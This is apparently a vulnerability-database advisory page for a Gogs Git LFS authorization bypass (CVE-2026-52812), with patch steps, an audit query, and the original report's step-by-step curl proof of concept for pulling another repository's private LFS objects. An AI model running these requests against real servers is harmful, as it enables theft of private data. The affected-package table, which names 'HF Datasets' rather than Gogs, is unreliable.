Gogs Git LFS contains an authorization bypass that lets any authenticated user with write access to a single repository download private Large File Storage objects from any other repository on the same instance — including ML model weights, training datasets containing PII, certificates, and firmware blobs. The vulnerability stems from a deduplication shortcut in `LocalStorage.Upload` that skips SHA-256 hash verification when a file already exists on disk, allowing an attacker to bind their repo to a victim's OID by uploading arbitrary garbage bytes; the only prerequisite beyond a valid account is knowledge of the target OID, which can surface through leaked LFS pointer files in public forks, ancestor commits, stale PRs, or support tickets. With 2,768 downstream dependents, a fully public step-by-step PoC using standard curl, and persistent access that survives write-permission revocation, any self-hosted Gogs instance used to store AI artifacts is at immediate cross-tenant exfiltration risk. Upgrade to v0.14.3 immediately and audit the `lfs_object` table for OIDs associated with more than one `repo_id` to detect prior exploitation.
What is the risk?
HIGH for organizations self-hosting Gogs with LFS enabled, particularly in multi-tenant or shared-infrastructure environments used for AI/ML artifact versioning. The attack prerequisite — knowing a target OID — is non-trivial but is explicitly documented as achievable via multiple realistic side channels. Exploitation itself is trivially scripted given the public PoC (three curl commands). The persistence dimension elevates severity significantly: a rogue `(attacker_repo, OID)` database row survives indefinitely after write-access revocation, with no victim-side notification beyond a 200 status in the attacker's LFS access log. No EPSS data available yet (published 2026-06-23), but the detailed public PoC, clearly articulated root cause, and wide deployment footprint suggest rapid weaponization.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| HF Datasets | go | < 0.14.3 | 0.14.3 |
Do you use HF Datasets? You're affected.
How severe is it?
What should I do?
6 steps-
Patch immediately: upgrade gogs to v0.14.3 (https://github.com/gogs/gogs/releases/tag/v0.14.3 — commit f35a767).
-
Audit for prior exploitation:
SELECT oid, COUNT(DISTINCT repo_id) AS repo_count, array_agg(repo_id) FROM lfs_object GROUP BY oid HAVING COUNT(DISTINCT repo_id) > 1;— any OID appearing across multiple repos may indicate a prior cross-tenant bind. -
Until patched, disable LFS on multi-tenant instances (
[lfs] ENABLED = falsein app.ini) to eliminate the attack surface. -
Review LFS access logs for PUT 200 responses where the uploading user has no prior history of creating that OID.
-
Rotate or treat as compromised any sensitive AI artifacts (model weights, datasets) if anomalous cross-repo bindings are found pre-patch.
-
Post-patch, consider implementing the advisory's optional second-layer defense: refuse
CreateLFSObjectunless the OID is referenced by a pointer file in the requesting repo's git history.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-52812?
Gogs Git LFS contains an authorization bypass that lets any authenticated user with write access to a single repository download private Large File Storage objects from any other repository on the same instance — including ML model weights, training datasets containing PII, certificates, and firmware blobs. The vulnerability stems from a deduplication shortcut in `LocalStorage.Upload` that skips SHA-256 hash verification when a file already exists on disk, allowing an attacker to bind their repo to a victim's OID by uploading arbitrary garbage bytes; the only prerequisite beyond a valid account is knowledge of the target OID, which can surface through leaked LFS pointer files in public forks, ancestor commits, stale PRs, or support tickets. With 2,768 downstream dependents, a fully public step-by-step PoC using standard curl, and persistent access that survives write-permission revocation, any self-hosted Gogs instance used to store AI artifacts is at immediate cross-tenant exfiltration risk. Upgrade to v0.14.3 immediately and audit the `lfs_object` table for OIDs associated with more than one `repo_id` to detect prior exploitation.
Is CVE-2026-52812 actively exploited?
No confirmed active exploitation of CVE-2026-52812 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-52812?
1. Patch immediately: upgrade gogs to v0.14.3 (https://github.com/gogs/gogs/releases/tag/v0.14.3 — commit f35a767). 2. Audit for prior exploitation: `SELECT oid, COUNT(DISTINCT repo_id) AS repo_count, array_agg(repo_id) FROM lfs_object GROUP BY oid HAVING COUNT(DISTINCT repo_id) > 1;` — any OID appearing across multiple repos may indicate a prior cross-tenant bind. 3. Until patched, disable LFS on multi-tenant instances (`[lfs] ENABLED = false` in app.ini) to eliminate the attack surface. 4. Review LFS access logs for PUT 200 responses where the uploading user has no prior history of creating that OID. 5. Rotate or treat as compromised any sensitive AI artifacts (model weights, datasets) if anomalous cross-repo bindings are found pre-patch. 6. Post-patch, consider implementing the advisory's optional second-layer defense: refuse `CreateLFSObject` unless the OID is referenced by a pointer file in the requesting repo's git history.
What systems are affected by CVE-2026-52812?
This vulnerability affects the following AI/ML architecture patterns: ML model repositories using Git LFS for model weight versioning, Training data pipelines storing datasets in Gogs LFS, AI artifact stores on shared or multi-tenant Gogs instances, MLOps workflows using self-hosted Gogs as a model registry, AI supply chain pipelines pulling binary artifacts from Gogs LFS.
What is the CVSS score for CVE-2026-52812?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0035 AI Artifact Collection AML.T0048.004 AI Intellectual Property Theft AML.T0049 Exploit Public-Facing Application AML.T0095.000 Code Repositories Compliance Controls Affected
What are the technical details?
Original Advisory
Summary Git LFS storage is content-addressed by OID alone (`<LFS-root>/<oid[0]>/<oid[1]>/<oid>`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. Details Dedupe shortcut at `internal/lfsx/storage.go:79-82`: ```go if fi, err := os.Stat(fpath); err == nil { _, _ = io.Copy(io.Discard, rc) return fi.Size(), nil // ← returns success with no hash check } ``` Hash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch — the dedupe path returns earlier. `serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding: ```go _, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo if err == nil { /* already linked, drain & return 200 */ } written, err := s.Upload(oid, c.Req.Request.Body) err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage()) ``` `CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo's git history. `serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file. Suggested fix 1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content. 2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo's refs. PoC Tested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic). ### Reproduction prerequisites - Running gogs ≥ 0.12.0 with `[lfs] ENABLED = true`. - Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`. - An OID known to be present in `alice/secrets` — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit). ### Setup (testbed simulation of the victim's prior state) ```sh GOGS=https://gogs.example ALICE_AUTH='-u alice:alice_password' BOB_AUTH='-u bob:bob_password' VICTIM_BYTES='victim secret content' OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1) SIZE=$(printf %s "$VICTIM_BYTES" | wc -c) # After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID> # and (alice/secrets, OID) row exists in lfs_object. printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \ -H 'Content-Type: application/octet-stream' \ -X PUT --data-binary @- \ "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID" ``` ### Attack — bob has only `$OID`, not `$VICTIM_BYTES` ```sh unset VICTIM_BYTES # attacker has no idea what the file contains # 1. Confirm bob has no claim on $OID. curl -sS $BOB_AUTH \ -H 'Accept: application/vnd.git-lfs+json' \ -H 'Content-Type: application/vnd.git-lfs+json' \ -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \ --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}" # → "actions":{"error":{"code":404,"message":"Object does not exist"}} # 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists # so LocalStorage.Upload takes the dedupe shortcut: drains the body # without hashing, returns alice's size; CreateLFSObject inserts (bob, OID). curl -sS $BOB_AUTH \ -H 'Content-Type: application/octet-stream' \ -X PUT --data-binary 'irrelevant attacker-controlled bytes' \ "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" # → HTTP/1.1 200 OK # 3. Download via bob's repo — gogs streams alice's bytes. curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked cat /tmp/leaked # → victim secret content sha256sum /tmp/leaked | cut -d' ' -f1 # → matches $OID exactly ``` ### Independent confirmation against the source ```sh git clone https://github.com/gogs/gogs.git && cd gogs git checkout d7571322 sed -n '63,114p' internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch sed -n '74,117p' internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path grep -n 'primaryKey' internal/database/lfs.go # composite (RepoID, OID) PK — multiple repos can share an OID row ``` Impact - **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation. - LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte. - Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.
Exploitation Scenario
A contractor at a shared enterprise Gogs instance has write access to a scratch repository but no visibility into the ML research team's private model repository. The contractor spots an LFS pointer file (`oid sha256:<hash>`) in a public PR branch that was accidentally committed before being cleaned up. Armed with the SHA-256 OID, the contractor sends a single PUT request to their own repo's LFS basic-transfer endpoint with the target OID in the URL path and irrelevant bytes as the body. Gogs's `LocalStorage.Upload` detects that the on-disk file already exists (uploaded previously by the research team), drains the garbage body without hashing it, and returns success. `serveUpload` trusts this result and calls `CreateLFSObject(contractor_repo, OID)`. The contractor immediately issues a GET to their own repo's download endpoint and receives the research team's model weights in full. The research team has no indication of the breach — no notification, no access log entry on their repo, no change to their LFS objects. The contractor's read access persists until an administrator manually identifies and deletes the rogue database row.
Weaknesses (CWE)
CWE-345 Insufficient Verification of Data Authenticity
Primary
CWE-639 Authorization Bypass Through User-Controlled Key
Primary
CWE-862 Missing Authorization
Primary
CWE-345 — Insufficient Verification of Data Authenticity: The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2026-35492 6.5 kedro-datasets: path traversal enables arbitrary file write
Same package: datasets CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Data Extraction CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Extraction CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Data Extraction CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Data Extraction